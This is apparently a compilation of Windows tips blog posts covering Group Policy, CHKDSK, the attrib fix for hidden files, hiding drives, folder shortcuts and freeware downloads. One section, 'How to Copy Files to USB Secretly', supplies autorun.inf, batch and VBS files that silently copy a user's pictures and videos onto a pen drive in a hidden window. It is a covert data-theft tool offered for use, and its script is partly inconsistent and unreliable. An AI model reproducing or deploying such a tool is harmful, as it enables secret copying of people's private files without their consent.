Click on the Windows key to open the start menu. Type ‘mmc’ in the search box without quotes and hit enter.

A new window will pop up. Go to File> Add/Remove Snap-in.This will open up Add/Remove Snap-in box. Check out for ‘Group Policy Object’ on the left hand side and add it to the right column by clicking on ‘Add’.

‘Select Group Policy’ box will pop up. Here you can rename the Group Policy Object if you desire. Now click on browse to allocate this policy to a particular type of profile. For instance; Non-Administrators. If you choose ‘Non-Administrators’, you are selecting custom settings for this type of group. In this case we are going to hide shutdown option from non-administrators. You can select the type of group by clicking on the User tab. Click Ok once done.

You’ll be brought back to the console window. On left hand side column navigate to User Configuration> Administrative Templates> Start Menu and Taskbar.

On the right hand side look for “Remove and Prevent Access to Shutdown, Hibernate, Restart and Sleep”.

Double click on it and select ‘Enabled’. Click on ‘Ok’ to apply changes and exit.

Go to Start and in the search box type cmd and hit enter.

Type CHKDSK followed by the drive letter and it hit enter. For instance, if the drive letter is G, it should look like CHKDSK G:

At the end of the report, you’ll find the bytes in each allocation unit.

Fix for Files or Folders changed to Shortcuts

If you have such a problem with your external hard drive or pen drive don’t panic and format the drive as you’ll lose all the data on it.

You need to first check the Drive Letter of your external hard drive or your pen drive and make a note of it.

Now, Go to Start>Run>type ‘cmd’ and hit enter.

Let’s assume that your drive letter is G; then you need type the below command in the command prompt and hit enter.

attrib -h -r -s /s /d g: *.*

If the drive letter is something other than ‘G’ then you need to change the letter ‘g’ in the above command to the drive letter.

That’s it! Now your files and folders should be visible.

Windows 7 Cheat Sheets
Cheat Sheet by Webjawns
Hotkey Cheat sheet by radicaldevelopment

Windows Vista Cheat Sheets
Cheat sheet by customguide

Windows XP Cheat Sheets
Services cheat sheet
Shortcuts cheat sheet

Windows 2000 Cheat Sheets
Error Cheatsheet
Shortcuts Cheatsheet

Command Line Cheat Sheets
XP Command Line Sheet
Command Shell Overview by Microsoft

How to Launch any Program on Windows Startup

Create a shortcut of the program you want to launch at startup.

Go to Start Menu> All Programs> Startup. Right click on the startup folder and select open.

Paste the above created shortcut in this folder.

That’s it! Next time when you start your computer this program will also start.

How to Copy Files to USB Secretly

Firstly, you need to create 4 files- autorun.inf, file.bat, invisible.vbs and launch.bat. Read the following carefully to understand how these files are created and how they work.
Creating autorun.inf:
Open notepad, paste the following and save the file as autorun.inf

[autorun]
icon=drive.ico
open=launch.bat
action=Click OK to Run
shell\open\command=launch.bat

In the above code “drive.ico” is the icon name. You can change it to reflect the icon you want to use. If you don’t intend to use icon then delete that line.

Creating file.bat:
Open Notepad again, paste the following and save the file as file.bat

@echo off
:: variables
/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% “%USERPROFILE%\pictures” “%drive%\backup\pics”
%backupcmd% “%USERPROFILE%\videos” “%drive%\backup\vid”
@echo off
Cls

In the above code, “backup” is the name of the folder that is to be created on your USB drive. The files will be copyied into it. The first file path “%USERPROFILE%\pictures” – is the target and the second file path “%drive%\backup\pics” – is the destination.

Creating invisible.vbs:

Open Notepad, paste the following and save as invisible.vbs

CreateObject(“Wscript.Shell”).Run “”"” & WScript.Arguments(0) & “”"”, 0, False

This code runs the process in the background without showing the CMD prompt and what the batch file is processing.

Creating launch.bat:
Open Notepad, paste the following and save as launch.bat.

wscript.exe \invisible.vbs file.bat

Copy the above four files to your pen drive. Once you have copied the files, create a folder named backup. When you double click to auto run, the copying process starts in the background.

There’s a utility known as Kid-Key-Lock. Using this freeware you can lock some functions or every function of your mouse and keyboard. You can lock the left, middle or right mouse button and mouse wheel of your mouse. You can also lock alphabet keys, function keys, number pad on your keyboard.

Kid-Key-Lock is a tiny program. Once installed simply run it and you should see it in your system tray. When you click on the tray icon a pop-up menu will appear. All program functions, including the setup dialog box are accessible from this menu. You can toggle settings and also change password. Once, you have changed settings click on OK for changes to take effect.

Download Kid-Key-Lock

RELATED: Create and Manage Keyboard Shortcuts to different Applications

Certain Programs like Google Chrome sometimes give an installation mode when this mode is enabled. The error may look like ‘Your computer is currently in Windows Audit Mode and is conflicting with the installation. Disable it and proceed.’ For this very reason you need to disable audit mode.

How to Turn Off Audit Mode in Windows 7

Go to the Start> Run.

Type ‘regedit’ and hit enter.

Find and right-click the relevant registry key for your operating system:

Windows XP: AuditInProgress in HKLM\System\Setup
Windows Vista: ImageState in HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\State
Windows 7: ImageState in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\State Select Modify.

Delete the value and Click OK.

Restart your computer for changes to take effect.

RELATED: Google Chrome Theme for XP

How to Hide Drives on Windows 7?

Using NoDrives Manager:
NoDrives Manager is an easy to use freeware for hiding and unhiding drives in Windows. To use it simply download NoDrives Manager, extract the contents to a separate folder and launch ndm.exe. Now, simply tick the drive(s) you want to hide or unhide. Once you’re done with selecting the right drive letters, simply click on write current settings to registry. You need to log off and log on for settings to take effect. Pretty easy isn’t it?

Download NoDrives Manager

Using registry tweaks:

You can hide/ unhide any drive in Windows 7 using registry tweaks. Well, this is little complicated and is not recommended if you aren’t good in using computers. If you want to try out this method you can check out for a detailed tutorial on howtogeek.

Using TweakUI:

You can also hide drives and drive letter using tweakUI. For more information have a look at ‘How to Hide Drive Letters or Partitions in My Computer’

How to Remove Floppy Drive Icon from Explorer

Go to Start and in the search type ‘devmgmt.msc’ and hit enter. This will open the Device Manger. In the list check for Floppy disk drive as shown above.

Right click on it and select ‘properties’.

Under the ‘Driver’ Tab, click on ‘Disable’. This will disable the drive temporarily. The Floppy drive icon will disappear from windows explorer. To get it back simply click on ‘Enable’.

Download Windows 7 Icon pack (535 icons)

Download Windows 7 Ultimate OEM Icons

Download Windows 7 Base Icons

RELATED: Download Windows 7 wallpapers, User Images

Shortcut Key for Creating a New Folder in Windows 7:

Go to the location where you want to create a new folder and hold the keys Ctrl + Shift + N to create a new folder instantly. Just memorize this shortcut key combo and you are all set to create a new folder instantly!

Shortcut Key for Creating a New Folder in Windows Vista:

Press Alt + F then press W then press F (do this quickly), you’ll see a new folder created in the directory in which you are in windows explorer. This method won’t work for Desktop for that you need to download and install bxNew folder utility. After installing it, simply press ‘F12’ to create a new folder.

Shortcut Key for Creating a New Folder in Windows XP:

Unfortunately, unlike Windows 7, XP doesn’t have a direct shortcut key to create a new folder. But you can get a new folder shortcut by installing bxNew Folder utility. After installing you should notice a “New Folder” button in the explorer menu. You can simply click on the “New Folder” button or press F12 key to create a new folder anywhere.

RELATED: 15 Windows Explorer Addons

Today, I came across Windows 8 Transformation pack on Deviantart. It’s a transformation pack for Vista users. It looks pretty much like Windows 7 but there are many GUI changes like redesigned taskbar, Explorer, new boot screen and login screen, etc. I really liked the login screen, it’s amazing. Give it a try and know for yourself.

Download Windows 8 Transformation Pack for Vista

RELATED: 5 Cool Transformation Packs for Windows

Taskix is a freeware that enables you to change the default order of the taskbar tabs in Windows XP and Vista. To reorder or rearrange the taskbar tabs, all you need to do is just drag-and-drop a particular tab to the position you desire. It also has an awesome feature which allows you to scroll between tabs using the mouse wheel. To enable this feature you need to set some settings. The “Scroll tabs with mouse wheel” option and also the “Handle middle-click on tabs” > “Close Window” option should be ticked. Once done, Click on the “Activate” button.

Download Taskix

RELATED: Shake a Window with your Mouse and Minimize Windows

[via-mytechquest]

It also allows you to browse and access documents within a folder very quickly. Usually, when you want to edit a series of frequently used documents, you’d have to either launch the app and go to My Computer icon> My Documents folder and then pick the file you want. With 7stacks, just create a stack to that document’s folder, and open that document in a couple of clicks. Pretty easy isn’t it?

Features:
-In 7 and Vista, 7stacks uses Aero, making the stacks look like part of Windows itself.
-Browse subfolders within a stack, just like in OS X Snow Leopard.
-3 different styles of stacks: Normal, Grid, and Menu
-Normal displays a stack of icons vertically, with a text description next to it.
-Grid displays a “squarish” grid of icons only; useful when displaying a large number of items like document folders.
-Menu displays a cascading menu of items, with a very small icon and a name next to it. Hover over subfolders to browse inside those folders.
-In Windows 7, create a new stack by right-clicking on any stack and selecting “Create New Stack” from the JumpList entry.
-In Menu mode, 7stacks doesn’t even need to be in a toolbar. You can use it right from your desktop, or any other folder.
-Pin up to 10 different stacks on the Windows 7 taskbar

Download 7Stacks

RELATED: Windows 7 Aero Shake Taskbar for XP